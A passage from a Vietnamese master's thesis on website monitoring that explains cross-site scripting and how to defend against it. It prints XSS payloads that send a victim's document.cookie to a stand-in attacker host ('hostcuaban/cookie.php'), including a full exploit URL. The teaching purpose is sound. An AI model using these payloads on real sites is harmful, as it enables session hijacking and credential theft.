Tấn công XSS (Cross Site Scripting)

Một phần của tài liệu (LUẬN văn THẠC sĩ) xây dựng hệ thống giám sát và cảnh báo sự thay đổi nội dung trang web luận văn ths máy tính 624801 (Trang 25 - 27)

1.5. Một số điểm yếu bảo mật và kỹ thuật tấn công Website

1.5.2. Tấn công XSS (Cross Site Scripting)

1.5.2.1. XSS là gì

XSS là viết tắt của Cross-Site Scripting, đây là một kĩ thuật tấn công mà kẻ tấn công sẽ chèn vào các website động những đoạn mã có thể thực thi một câu lênh bất hợp pháp. Các đoạn mã đó thường được viết bằng JavaScript, DHTML, JScript và cũng có thể là cả các thẻ HTML.

Hiện nay, XSS là kỹ thuật tấn công khá phổ biến, đây cũng là một vấn đề bảo mật đáng quan tâm của những người phát triển web cũng như của những người sử dụng. Ngay cả đối với những trang như www.fbi.gov, www.ebay.com, www.yahoo.com cũng từng bị lỗi XSS. Vì vậy, khi mà những trang web cho phép người dùng đăng những thông tin đều có thể tiềm ẩn các lỗi XSS nếu không có sự kiếm soát chặt chẽ.

Cũng giống như SQL Injection hay Source Injection, về mặt cơ bản XSS cũng là các yêu cầu được gửi từ các máy trạm tới máy chủ nhằm chèn vào các thông tin vượt quá tầm kiểm soát của máy chủ.

1.5.2.2. Tấn công XSS

+ Nhận biết website bị mắc lỗi XSS:

Thường thì XSS có thể xảy ra tại những nơi mà người dùng có thể nhập dữ liệu vào, sau đó sẽ nhận được một kết quả gì đó. Nên thường chúng ta sẽ kiểm tra ở những ô đăng nhập (login form) đầu vào. Khi nhập một chuỗi kí tự nào đó mà kết quả của server trả về có dính tới chuỗi mà bạn nhập thì rất có khả năng trang đó bị mắc lỗi XSS .

Hình 3. Mô hình tấn công XXS (Cross-Site Scripting)

Thông thường kẻ tấn công (attacker) sử dụng XSS để lấy các thông tin quan trọng: cookie, user name và password. Ở đây sử dụng XSS để đánh cắp cookie của nạn nhân (victim).

+ Cách chèn script: Sử dụng Java script: Code: javascript: alert(document.cookie) Dùng file.php: CODE javascript:location="http://hostcuaban/cookie.php?cookie="+(docum ent.cookie)

Hàm location để chuyển trình duyệt đến 1 trang khác, lúc đó document.cookie sẽ thay bằng giá trị cookie.

XSS giúp đánh cắp (steal) được cookie của nạn nhân (victim), khai thác trên trình duyệt như sau:

CODE

http://sitexss.com/index.php?act=<script>location="http://hostcuaban.com/ cookie.php?cookie="+(document.cookie)

1.5.2.3. Phòng chống tấn công bằng XSS

Nếu sử dụng các mã nguồn được xây dựng sẵn, có thể truy cập các trang web securityfocus.com, securiteam.com,...để tham khảo danh sách các lỗ hổng bảo mật. Tuy nhiên không thể áp dụng phương pháp trên nếu tự viết mã nguồn các website. Trong trường hợp này cần dùng đến các chương trình dò tìm kiếm (scanner) tự động. Nếu sử dụng trong môi trường Windows, có những chương trình quét tìm chất lượng như AppScan hay N-Stealth, nó không tìm ra những lỗi XSS mà nó còn có thể kiểm tra các lỗi khác trong website đó.

Tuy XSS khá nguy hiểm nhưng để ngăn ngừa cũng không quá khó khăn. Chúng ta có thể giải quyết vấn đề này bằng nhiều cách như:

+ Chỉ chấp nhận những dữ liệu hợp lệ. + Từ chối nhận các dữ liệu hỏng.

+ Liên tục kiểm tra và thanh lọc dữ liệu.

Tuy nhiên trong thực tế, có nhiều trường hợp phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp, vì vậy cần phải có những cách riêng để giải quyết. Khi gặp trường hợp này, chúng ta có thể dùng cách mã hoá các kí tự đặc biệt trước khi in ra website, đây là một cách khá hữu hiệu và có thể áp dụng đối với nhiều ngôn ngữ Web Application (ASP, PHP...).

Một phần của tài liệu (LUẬN văn THẠC sĩ) xây dựng hệ thống giám sát và cảnh báo sự thay đổi nội dung trang web luận văn ths máy tính 624801 (Trang 25 - 27)

Tải bản đầy đủ (PDF)

(69 trang)